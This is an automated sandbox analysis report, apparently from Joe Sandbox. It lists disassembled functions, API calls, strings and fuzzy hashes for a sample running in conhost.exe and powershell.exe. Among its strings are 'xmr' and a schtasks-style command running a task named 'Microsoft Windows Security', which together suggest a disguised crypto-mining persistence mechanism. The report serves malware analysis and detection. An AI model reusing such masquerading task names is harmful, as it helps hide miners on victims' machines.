Function 00007FF7B89A2D70 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF7B89A2D86
wcscpy.MSVCRT ref: 00007FF7B89A2DFE

Strings

xmr, xrefs: 00007FF7B89A2D72
%S /run /tn "Microsoft Windows Security", xrefs: 00007FF7B89A2D74

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: wcscpywcslen
String ID: %S /run /tn "Microsoft Windows Security"$xmr
API String ID: 225642448-2694755926
Opcode ID: 44473131342b9c3d6659860616ea861b569dae8c1284f4b33d658fc321378122
Instruction ID: 941443f36eaee27b6b0ce7e07a2a3084920f97651032a9b9c00e5925d989af5b
Opcode Fuzzy Hash: 44473131342b9c3d6659860616ea861b569dae8c1284f4b33d658fc321378122
Instruction Fuzzy Hash: 4131082260824345EE20AF59A4003BAF691FB563A5FC44635EF9D0B7D9EE7DE0868714

Function 00007FF7B89A8685 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 63stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7B89AA109

Strings

{parm#, xrefs: 00007FF7B89AA0E3
}, xrefs: 00007FF7B89AA196
this, xrefs: 00007FF7B89A8691

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: strlen
String ID: this${parm#$}
API String ID: 39653677-3278767634
Opcode ID: d126d87f218acd473fc4b93330089d8a4941b7047482bd3d1eb6a4281afbbf06
Instruction ID: 1cc7b4a54f78dc39251cccd63f28ce94c94508fe8856d9e7cfd332ede946355e
Opcode Fuzzy Hash: d126d87f218acd473fc4b93330089d8a4941b7047482bd3d1eb6a4281afbbf06
Instruction Fuzzy Hash: 77216772A4C68382EB65AF2894003F9A691EB66B59F884131CF890E74DDF7C94478375

Function 00007FF7B89A33D0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF7B89A33F1
wcslen.MSVCRT ref: 00007FF7B89A348D

Strings

@, xrefs: 00007FF7B89A3453
0, xrefs: 00007FF7B89A3442

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 26fbaa74645c58beb1c662cd1072959fce96db4e188e223cb72cb4d6abf3e704
Instruction ID: 19536aaf561329cddd4f6cc5260eb7541b6a9e5547ee5745a7b60409c009ad19
Opcode Fuzzy Hash: 26fbaa74645c58beb1c662cd1072959fce96db4e188e223cb72cb4d6abf3e704
Instruction Fuzzy Hash: F921AB3261878186E7209B69F44579BF6A0FBD5388F600135FBC887B59EB7CD049CB04

Function 00007FF7B89A3580 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF7B89A3599
wcslen.MSVCRT ref: 00007FF7B89A35B7

Strings

0, xrefs: 00007FF7B89A35E7
@, xrefs: 00007FF7B89A35F8

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: aea334ff16771d315f46423bd26d5fdcc2d3ba9439c4921da91f434a81118734
Instruction ID: 70ef7a7e54f620eae9a724a11abc9dd16a71d125c21e936efcea1668664e8528
Opcode Fuzzy Hash: aea334ff16771d315f46423bd26d5fdcc2d3ba9439c4921da91f434a81118734
Instruction Fuzzy Hash: 1311B22261878282EB50AB69F48535AE760FFD5358F900135FBCD87B59EF7CD4468B04

Function 00007FF7B89AD430 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499
Unknown error, xrefs: 00007FF7B89AD520

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: c6129450d7204aa9425f0b0a5ee21873e3dcf374583c3fc542229302485bd395
Instruction ID: 3e0e834dba02d599fe1b5e6155f4aa8a942c3cc68cb24ac1e0613f84f5420e82
Opcode Fuzzy Hash: c6129450d7204aa9425f0b0a5ee21873e3dcf374583c3fc542229302485bd395
Instruction Fuzzy Hash: 2201C222908E89C2DA129F1CD8011EAF374FFAA75AF545325FB8D26264DF29E543C704

Function 00007FF7B89AD4D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF7B89AD4D0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: ffc7f7083ab47e760bb295ee22dbabe757db34ba60a4b9d6e098a080ac5640f8
Instruction ID: fd57d139e8ec181818dacc408615fed5a327ab9de6d7f540c8595ffb980eb335
Opcode Fuzzy Hash: ffc7f7083ab47e760bb295ee22dbabe757db34ba60a4b9d6e098a080ac5640f8
Instruction Fuzzy Hash: 54F0C812808E4581D6029F1C94000EAF374FF5E74AF545325FB8E36164DF28E5438314

Function 00007FF7B89AD500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499
Partial loss of significance (PLOSS), xrefs: 00007FF7B89AD500

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: c490c49c59b9e24825c0a6802d573e2208797f7dd482eb3f8c93c705cb10b757
Instruction ID: bfaf5ea5aa6e0357b2bf96afd2f2b90b37cef2c5f95f8ec758b5be30b974757e
Opcode Fuzzy Hash: c490c49c59b9e24825c0a6802d573e2208797f7dd482eb3f8c93c705cb10b757
Instruction Fuzzy Hash: 50F0C812808E4581D602DF1C94000FAF374FF5E74AF545325FB8E36164DF28E5438314

Function 00007FF7B89AD510 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

Argument singularity (SIGN), xrefs: 00007FF7B89AD510
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 6e42f6ab832643018c5ab5e1db53d9ba1314b211f5c00237c330fd30a230164e
Instruction ID: 8f35c11280d5ddd446137e379444207696c1bfca06e5687bd91e9f61346efeb9
Opcode Fuzzy Hash: 6e42f6ab832643018c5ab5e1db53d9ba1314b211f5c00237c330fd30a230164e
Instruction Fuzzy Hash: 62F0C852808E4581D612DF1C94000EBF374FF9EB4AF545325EB8D26564DF28E5438354

Function 00007FF7B89AD4E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF7B89AD4E0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 29f4ef5d8c173d3b74eb3c22cac1c5b2ad5d3302bc35ae5ea985eda276a5f484
Instruction ID: 3eaf4c4ddc8a4fda0478c324c70e367bf2138d53bebc13142206547ca138f254
Opcode Fuzzy Hash: 29f4ef5d8c173d3b74eb3c22cac1c5b2ad5d3302bc35ae5ea985eda276a5f484
Instruction Fuzzy Hash: 44F0C812808E4581D602DF1C94000EAF374FF5E74AF585325FB8E36264DF28E5438314

Function 00007FF7B89AD4F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

Total loss of significance (TLOSS), xrefs: 00007FF7B89AD4F0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 0bcdd2314c3c51517d5ee07b94d97467dc0410b7a3df75df8a4817ab909ac92e
Instruction ID: 1a688c284f475b0a0ee8b53ec7a421846090ad1eaa108a56e41d6c543850cb13
Opcode Fuzzy Hash: 0bcdd2314c3c51517d5ee07b94d97467dc0410b7a3df75df8a4817ab909ac92e
Instruction Fuzzy Hash: A3F0C812808E4581D6029F1C94000EAF374FF5E74AF545325EB8D26564DF28E5438314

Function 00007FF7B89AD461 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B89AD4A9

Strings

Argument domain error (DOMAIN), xrefs: 00007FF7B89AD461
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B89AD499

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: abe0cd034ca6e7e039f3be2709ea70163147327bdca782690fe654ac2d43d253
Instruction ID: 0d3f9aedd0d4b43b4227f6bd4ecedfc46d3018ed67f6b038a10026a561ab018b
Opcode Fuzzy Hash: abe0cd034ca6e7e039f3be2709ea70163147327bdca782690fe654ac2d43d253
Instruction Fuzzy Hash: D8F06212915F4981D6029F1DA4001AAF364FF5E79AF545325EF8A36624DF28D5438714

Function 00007FF7B89ADE50 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7B89ADE77
free.MSVCRT ref: 00007FF7B89ADEC8
LeaveCriticalSection.KERNEL32 ref: 00007FF7B89ADED4

Memory Dump Source

Source File: 00000025.00000002.3517889006.00007FF7B89A1000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF7B89A0000, based on PE: true

Associated: 00000025.00000002.3516855571.00007FF7B89A0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3517957854.00007FF7B89BA000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3518026985.00007FF7B89BC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C3000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3519877184.00007FF7B89C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000025.00000002.3520042046.00007FF7B89C8000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff7b89a0000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 2dfa7707a2d4e303a1a78d16bdb6f7eaf57818cde39d8471c90da31edd0f8fca
Instruction ID: 58ff14b61e5e8f73d3a9703c4915c4198271a18216b2b03d0d8b4b17be4a6ce0
Opcode Fuzzy Hash: 2dfa7707a2d4e303a1a78d16bdb6f7eaf57818cde39d8471c90da31edd0f8fca
Instruction Fuzzy Hash: CF117061F0D60386EF54AB1CE480178E291AFB6B02BE04434C74D4B358DF7DE9439B68

Analysis Process: powershell.exePID: 6432, Parent PID: 4004COMMON

Executed Functions

Function 00007FFD34773E90 Relevance: .5, Instructions: 483COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3336301274.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4fd857365dd23b7846ce6aa9a377be7090b325d9885b7f1826bf1ac7a559f55
Instruction ID: 47ca8573341ca341ad208fbd28901f72c5aefca6fb3afd8b52a454209e7a80f7
Opcode Fuzzy Hash: d4fd857365dd23b7846ce6aa9a377be7090b325d9885b7f1826bf1ac7a559f55
Instruction Fuzzy Hash: 65E1B370A08A4D8FDB98EF5CC895AB97BE1FF69300F1441AAD449D7296CA78F841C7C1

Function 00007FFD3477A428 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3336301274.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f30fd17eddda3130a43324248287b02bd0c6b1ba9e2269c38a880aa26387fbf5
Instruction ID: 4bb5110a7e880e40346ba498b7f65906e31430bb02db875abd101640abdc67b5
Opcode Fuzzy Hash: f30fd17eddda3130a43324248287b02bd0c6b1ba9e2269c38a880aa26387fbf5
Instruction Fuzzy Hash: 67214BA3A4F5C18FFB854A2C0CA94747FE0EF5624038881BBE58CC74A7E969BC0593C5

Function 00007FFD34844943 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3338010443.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34840000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94463c15e55219ed7623d95236d636c981c07701bd1ac1d2ee76280d1fa89ba6
Instruction ID: de3b7071a8bda837d95d1ec74a0f79db5795772ecb4de0e19ccdeded1b9f5cb2
Opcode Fuzzy Hash: 94463c15e55219ed7623d95236d636c981c07701bd1ac1d2ee76280d1fa89ba6
Instruction Fuzzy Hash: B0512822B0DE4A0FEBA9DB5C54A117477D2EF9A720B1800BBC25DC72E3DE18EC559345

Function 00007FFD3477A0E5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3336301274.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1823c8c6ae8d71fafeb54b67ad4eb8953553e0c5a4af1e81bd0e8fe9ee4be1d9
Instruction ID: 5b299fff34e7175ac0e9b03a095ab5f5ffe283d6ef0b851561980486ab9fa307
Opcode Fuzzy Hash: 1823c8c6ae8d71fafeb54b67ad4eb8953553e0c5a4af1e81bd0e8fe9ee4be1d9
Instruction Fuzzy Hash: DD31267191CB488FDB18DB5C9C4A6A97BE0FB59320F00426FE449C3252DB75A855CBC2

Function 00007FFD3465EC60 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3334911557.00007FFD3465D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3465D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd3465d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3f19bba9c800613b451386357f7d34b88348dd92bcbe1130a8ef8594d37257
Instruction ID: 76afc75d4ff07aa00a4acfdfc71224cb3d92eb072678fed71e475b3d1271422d
Opcode Fuzzy Hash: 4d3f19bba9c800613b451386357f7d34b88348dd92bcbe1130a8ef8594d37257
Instruction Fuzzy Hash: 0D41047150DBC45FEB568B29D8919923FF0EF57320B1906EFD088CB1A3D629A846C792

Function 00007FFD3477B1D8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3336301274.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2149c300804031a0aaacf4daf3139927b7feda3132f1d5085d8b043b2f1e7dfb
Instruction ID: dfc7e68ff653ebcf03364b62a1557e78df12eda2a2ec81fefe22ec6d1e9c3c72
Opcode Fuzzy Hash: 2149c300804031a0aaacf4daf3139927b7feda3132f1d5085d8b043b2f1e7dfb
Instruction Fuzzy Hash: 7421077090CB4C8FDB59DFAC984A7F97BE0EB96321F00426BD049C3152D674A41ACB92

Function 00007FFD3484498F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3338010443.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34840000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 216c3dc0e23108bbab1eed89ef337e3cfa784020d2716f5d0e614808f235a503
Instruction ID: 9c3dfd96293e9989967dabb6840befe421c145beef0a0936f7d74322016769d9
Opcode Fuzzy Hash: 216c3dc0e23108bbab1eed89ef337e3cfa784020d2716f5d0e614808f235a503
Instruction Fuzzy Hash: 3221F222B0DA860FE7A6CB5854B11746AC2EF5A72075900BAD25DC73F3DE2CEC44A345

Function 00007FFD34774675 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3336301274.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1d83e8d9ad0ff779d92e08f69f1e06b52c9e2b47039ca20a01433bafa786f3
Instruction ID: 5a6c34de5bf3d62e771097e1cb750c3a3bfe75f3af7f3ffe4a0163a03f82cad5
Opcode Fuzzy Hash: ee1d83e8d9ad0ff779d92e08f69f1e06b52c9e2b47039ca20a01433bafa786f3
Instruction Fuzzy Hash: 6C01447121CB088FD744EF4CE491AA5B7E0FB95364F50056EE58AC3651D626E881CB45

Function 00007FFD34844CCA Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3338010443.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34840000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c57efe58bd40db50de21f599f863a5b3d3ebef7c418e1283a33524f81b735830
Instruction ID: 14d6324ca8118e7b3065031f7ab0d61cb4fd0b9ec579f71f9ec3cfb6a56ef22d
Opcode Fuzzy Hash: c57efe58bd40db50de21f599f863a5b3d3ebef7c418e1283a33524f81b735830
Instruction Fuzzy Hash: 5CF09032A0D6448FD7A5EB4894A15A477E0EF0A32071500B7E15DCB263DA2AEC44C750

Function 00007FFD348453E4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.3338010443.00007FFD34840000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd34840000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2efa4fa8a581c2d1efa427fc0596aa10c5789bfa1fef0d1ec401171a229f518f
Instruction ID: 9ebaf1aa69561397593b975938f1b5ae81866f39e5473adfbf1fbcd25ab965d7
Opcode Fuzzy Hash: 2efa4fa8a581c2d1efa427fc0596aa10c5789bfa1fef0d1ec401171a229f518f
